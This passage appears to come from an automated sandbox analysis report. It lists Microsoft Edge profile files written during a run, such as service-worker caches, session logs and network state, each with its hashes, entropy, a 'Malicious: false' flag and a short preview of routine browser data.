Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.S.2m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.....@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.154728963761023
Encrypted:	false
SSDEEP:	6:6F/Wlhq1923oH+TcwtE/a252KLlgF/Lo3+q2P923oH+TcwtE/a2ZIFUv:6FGBYeb8xLCFcOv4Yeb8J2FUv
MD5:	410FB9208FBAAABEF8FAF00F4590447D
SHA1:	7C1398A26DDEE126D0C802C19AC5E02358B18AB4
SHA-256:	AD6FEEF46C80FE12FC76CCFB4B16BE6E082297139996314B455FE9CB8E731B1E
SHA-512:	0392318DE02071BC1BB554E866A754E59B236CC3729CB70BA132042763AA7A20FFDEE0FEAE64D345409BACBA7E54631E9C442F9808AF64DC507EAD535A310CA7
Malicious:	false
Preview:	2024/10/30-20:18:45.807 438 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/10/30-20:18:45.822 438 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113314
Entropy (8bit):	5.578772762490934
Encrypted:	false
SSDEEP:	1536:UU906yxPXfOxr1lhCe1A46rCjQ3NGTsrP4IaBiBL/r4L/rpKY:59LyxPXfOxr1lMe1Z6rF3w9aL/ML/p
MD5:	D50C4B1F9D309A5F753279B5196C3192
SHA1:	3577C7116D2793247083FA2D8484AF8146C6BA80
SHA-256:	DC4568D0955255D426F49BB6E3CD5A6C518D5F2CD7CB608B4AB6AD424C98F09A
SHA-512:	779D4BF4827A50A43D7BBAE1CE008AFB1C7F5EACF3C15772B7E219A77678BB2729B66C2E3C8988783DCE8325844F5C37A033AAD2E21524E4D22CAB3680C74AD5
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187457
Entropy (8bit):	6.3807469728279536
Encrypted:	false
SSDEEP:	3072:+61KKIHg/wVwlkXX9EITN6Yoabv1pWez0aL/GBrto8:ZwVwlW9JgUpWLaL/w9
MD5:	A393AD53CBC375473EA2626F8D6766F6
SHA1:	43338BB91C29A75C88EF3DA1F955B68BA7AD857E
SHA-256:	02B45193A8B3AF6A1CD773C1CFCA8388FF8539FAB60ACB6D0756F8EF99CA807F
SHA-512:	A1BF4062E166E458DD65C4720B94D46D8195D71FB85C21C5FA28495E2A9C0514D4260191D1DD79527C518530C9F48D9BD8974403FC92E770504900F3C873F499
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;.....x..........,T.8..`,.....L`.....,T...`......L`......Rc.]c'....exports...Rc.!......module....RcBS.&....define....Rb.?V.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m...o.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....Q...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:+44cFQyXl/lkV/lxE0tllcmSM:+KNkW0amB
MD5:	910219562FA91120615E7199926F0D71
SHA1:	7A821A47304DEDC6E134A987124429878FDC7D3D
SHA-256:	9182D83876C20922F039D9BBCBF9CEABB512CC36F2119380B9FEA0D9728B6DBC
SHA-512:	9FA196B695D10671347460B944A8ACD44B394E5763683E0D3504F210A61451A42BA4492DBBF43C3A794F0E10A74C48125042FBC7E577260A8E947C80549E8C62
Malicious:	false
Preview:	@.....Xjoy retne.........................X....,..................Q./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:+44cFQyXl/lkV/lxE0tllcmSM:+KNkW0amB
MD5:	910219562FA91120615E7199926F0D71
SHA1:	7A821A47304DEDC6E134A987124429878FDC7D3D
SHA-256:	9182D83876C20922F039D9BBCBF9CEABB512CC36F2119380B9FEA0D9728B6DBC
SHA-512:	9FA196B695D10671347460B944A8ACD44B394E5763683E0D3504F210A61451A42BA4492DBBF43C3A794F0E10A74C48125042FBC7E577260A8E947C80549E8C62
Malicious:	false
Preview:	@.....Xjoy retne.........................X....,..................Q./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF41970.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:+44cFQyXl/lkV/lxE0tllcmSM:+KNkW0amB
MD5:	910219562FA91120615E7199926F0D71
SHA1:	7A821A47304DEDC6E134A987124429878FDC7D3D
SHA-256:	9182D83876C20922F039D9BBCBF9CEABB512CC36F2119380B9FEA0D9728B6DBC
SHA-512:	9FA196B695D10671347460B944A8ACD44B394E5763683E0D3504F210A61451A42BA4492DBBF43C3A794F0E10A74C48125042FBC7E577260A8E947C80549E8C62
Malicious:	false
Preview:	@.....Xjoy retne.........................X....,..................Q./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5723
Entropy (8bit):	3.4251602106214283
Encrypted:	false
SSDEEP:	96:9KZMY6NilYp37azmD5Ciu9FZp+WW+LVYeBI1V65SLl9iSrJ1E4Sg8:V2YSmD529Lp+WWcVYV/65SLl9iSrJuq
MD5:	DFC6FA229024E7D2D1D4F0FAFEA76F6D
SHA1:	A3FC0119A73C23068CA036862F2DCE061952430C
SHA-256:	51C2D680459A71F3C7A1C3632ED3589E0E6978FDA227D89670EC4D522B3F2F3E
SHA-512:	BB415FBACB4D5A9E3AC69724A481CFF5080950A084CA585DCC9B51FAB2A9D3AE1917587125CA6A05DF13C5157ABC90F5F8AD772B5F534F5068AA42A70916166F
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f..............._.58b................next-map-id.1.Cnamespace-2a461a77_a629_4f3f_aee0_56b6882c5bb1-https://ntp.msn.com/.0....................map-0-shd_sweeper.){.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.l.t.,.x.a.d.s.-.a.d.q.c.b.i.s.-.c.,.p.n.p.w.e.a.t.o.d.a.y.,.p.r.g.-.l.o.c.k.-.m.i.t.3.t.r.f.4.,.1.s.-.p.1.-.c.e.g.p.r.e.v.,.1.s.-.p.1.-.c.e.g.r.o.w.t.h.,.1.s.-.p.2.-.c.e.g.r.o.w.t.h.,.1.s.-.p.2.r.v.t.4.-.c.e.g.r.o.w.t.h.,.1.s.-.p.r.v.t.4.-.c.e.g.r.o.w.t.h.,.p.r.g.-.1.s.w.-.m.i.t.3.t.r.f.4.,.p.r.g.-.p.r.2.-.m.i.t.3.t.r.f.4.,.d.a.t.a.c.o.l.l.e.c.t.i.o.n.,.s.p.-.l.a.y.-.c.t.l.,.p.r.g.-.1.s.w.-.s.a.n.t.f.-.c.p.c.1.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.1.c.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.3.a.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.c.,.p.r.g.-.1.s.w.-.s.a.-.u.i.e.s.r.l.t.t.2.,.p.r.g.-.1.s.w.-.s.a.d.n.n.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.133607368341571
Encrypted:	false
SSDEEP:	6:6Fq8Vq2P923oH+TcwtrQMxIFUt8vFqTCgZmw+vFJC6XSIkwO923oH+TcwtrQMFLJ:6c8Vv4YebCFUt8vcTCg/+vXrXSI5LYeL
MD5:	672FD1C7D0EC9441E734FBDEE47B9B4C
SHA1:	090BE1CC1DD90AE65C241C4DD0ED0C119F8F859F
SHA-256:	4D15A10970449D4E764B85197D4334E60141EA4AB9B2218151E97EB30EF571A5
SHA-512:	9475A433E533B098F625B448F90877482F02C4281E0D20DAB1B3C1B248303FCCF4F9DA92B712490B37079FCEA00B750BF80F08A6F143DF3CEE4DAFCF9E076EAF
Malicious:	false
Preview:	2024/10/30-20:18:35.951 1f80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/30-20:18:35.953 1f80 Recovering log #3.2024/10/30-20:18:36.278 1f80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.133607368341571
Encrypted:	false
SSDEEP:	6:6Fq8Vq2P923oH+TcwtrQMxIFUt8vFqTCgZmw+vFJC6XSIkwO923oH+TcwtrQMFLJ:6c8Vv4YebCFUt8vcTCg/+vXrXSI5LYeL
MD5:	672FD1C7D0EC9441E734FBDEE47B9B4C
SHA1:	090BE1CC1DD90AE65C241C4DD0ED0C119F8F859F
SHA-256:	4D15A10970449D4E764B85197D4334E60141EA4AB9B2218151E97EB30EF571A5
SHA-512:	9475A433E533B098F625B448F90877482F02C4281E0D20DAB1B3C1B248303FCCF4F9DA92B712490B37079FCEA00B750BF80F08A6F143DF3CEE4DAFCF9E076EAF
Malicious:	false
Preview:	2024/10/30-20:18:35.951 1f80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/30-20:18:35.953 1f80 Recovering log #3.2024/10/30-20:18:36.278 1f80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13374807516927625

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.829270917489516
Encrypted:	false
SSDEEP:	24:3ilHlul9DlPlDKd4lX2nye6ldUvpsAF4unxQtLp3X2amEtG1ChqMc0nfYwQKkOA5:3ilHlulZlR+848UvzF+Lp2FEkCh+MYBq
MD5:	66626F7B17AB4421B69BE4ED3D302837
SHA1:	DCE9DF3EC953EA4E49393E465D587AE0370016EE
SHA-256:	E2DD7599D17901E5D51E390A81A9ECC5D567E1D7F23E833D8C33DF47C519D848
SHA-512:	1B41393755D0868636AD689B779890B6CE4E46707977FDA497BEA5D4335032181E994A9444C13ADF0E88AF1E0E975BC1172AA7E54CBE3507A69CE9B1C64B2035
Malicious:	false
Preview:	SNSS........f.X............f.X......".f.X............f.X........f.X........f.X........f.X....!...f.X................................f.X.f.X1..,....f.X$...2a461a77_a629_4f3f_aee0_56b6882c5bb1....f.X........f.X....7.-.........f.X....f.X........................f.X........................f.X....................5..0....f.X&...{98952893-68FF-4A5D-A164-705C709ED3DB}......f.X...........f.X............f.X........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......`Z\|.%..aZ\|.%.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.126020758992755
Encrypted:	false
SSDEEP:	6:6FjVw+q2P923oH+Tcwt7Uh2ghZIFUt8vFjYUZZmw+vFjYUNVkwO923oH+Tcwt7UT:6Vv4YebIhHh2FUt8vuo/+vuw5LYebIh9
MD5:	3E56ABF28BDDEFD72E5A30C0CC47CD8C
SHA1:	E4D8B775D8BAE37C9E7BDBC2FD86066847568A23
SHA-256:	57CC77B5B21AB77602862A9138B674632FC7FF6098271AD39C41025D334A295B
SHA-512:	EE45D5DB1E92C08B39703E9789BE8441CE94A6386FBA4B2660F199E4383494CF7ACF7DF623DBE26B5CC3E9A020EA6C6C76518421E56A4AC02207B33BEC42C181
Malicious:	false
Preview:	2024/10/30-20:18:34.592 1e18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/30-20:18:34.593 1e18 Recovering log #3.2024/10/30-20:18:34.593 1e18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.126020758992755
Encrypted:	false
SSDEEP:	6:6FjVw+q2P923oH+Tcwt7Uh2ghZIFUt8vFjYUZZmw+vFjYUNVkwO923oH+Tcwt7UT:6Vv4YebIhHh2FUt8vuo/+vuw5LYebIh9
MD5:	3E56ABF28BDDEFD72E5A30C0CC47CD8C
SHA1:	E4D8B775D8BAE37C9E7BDBC2FD86066847568A23
SHA-256:	57CC77B5B21AB77602862A9138B674632FC7FF6098271AD39C41025D334A295B
SHA-512:	EE45D5DB1E92C08B39703E9789BE8441CE94A6386FBA4B2660F199E4383494CF7ACF7DF623DBE26B5CC3E9A020EA6C6C76518421E56A4AC02207B33BEC42C181
Malicious:	false
Preview:	2024/10/30-20:18:34.592 1e18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/30-20:18:34.593 1e18 Recovering log #3.2024/10/30-20:18:34.593 1e18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	431
Entropy (8bit):	5.217074343172579
Encrypted:	false
SSDEEP:	12:6XY1L+v4YebvqBQFUt8vX0/+vXMVLV5LYebvqBvJ:91Y4YebvZg8eDLYebvk
MD5:	7B73FFD810E7ED2D49A7BC030DBF8A32
SHA1:	F65DE0ECA68FA0871A98FDFDEFAB760CFC2D8AFF
SHA-256:	601900074FEACE10DAA37F032EF66BD6C8DE2A81199327A0D5C1D8047C9FCB58
SHA-512:	9A74451F4568B12BA2B47A61A17185E65A5E000F7A9D8B691B03782900797D206C8B1CDF1874E0A0464B5B62F25915043879C07AC582B36598E34D1879F0C40C
Malicious:	false
Preview:	2024/10/30-20:18:36.287 f1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/30-20:18:36.289 f1c Recovering log #3.2024/10/30-20:18:36.292 f1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	431
Entropy (8bit):	5.217074343172579
Encrypted:	false
SSDEEP:	12:6XY1L+v4YebvqBQFUt8vX0/+vXMVLV5LYebvqBvJ:91Y4YebvZg8eDLYebvk
MD5:	7B73FFD810E7ED2D49A7BC030DBF8A32
SHA1:	F65DE0ECA68FA0871A98FDFDEFAB760CFC2D8AFF
SHA-256:	601900074FEACE10DAA37F032EF66BD6C8DE2A81199327A0D5C1D8047C9FCB58
SHA-512:	9A74451F4568B12BA2B47A61A17185E65A5E000F7A9D8B691B03782900797D206C8B1CDF1874E0A0464B5B62F25915043879C07AC582B36598E34D1879F0C40C
Malicious:	false
Preview:	2024/10/30-20:18:36.287 f1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/30-20:18:36.289 f1c Recovering log #3.2024/10/30-20:18:36.292 f1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\0200c62e-5015-4188-914b-3c0c587aac0e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\33483c14-e762-49e4-8fcc-e5395c034b4b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\8c410c04-c8b5-40dd-aadb-8d6e76b60a4f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
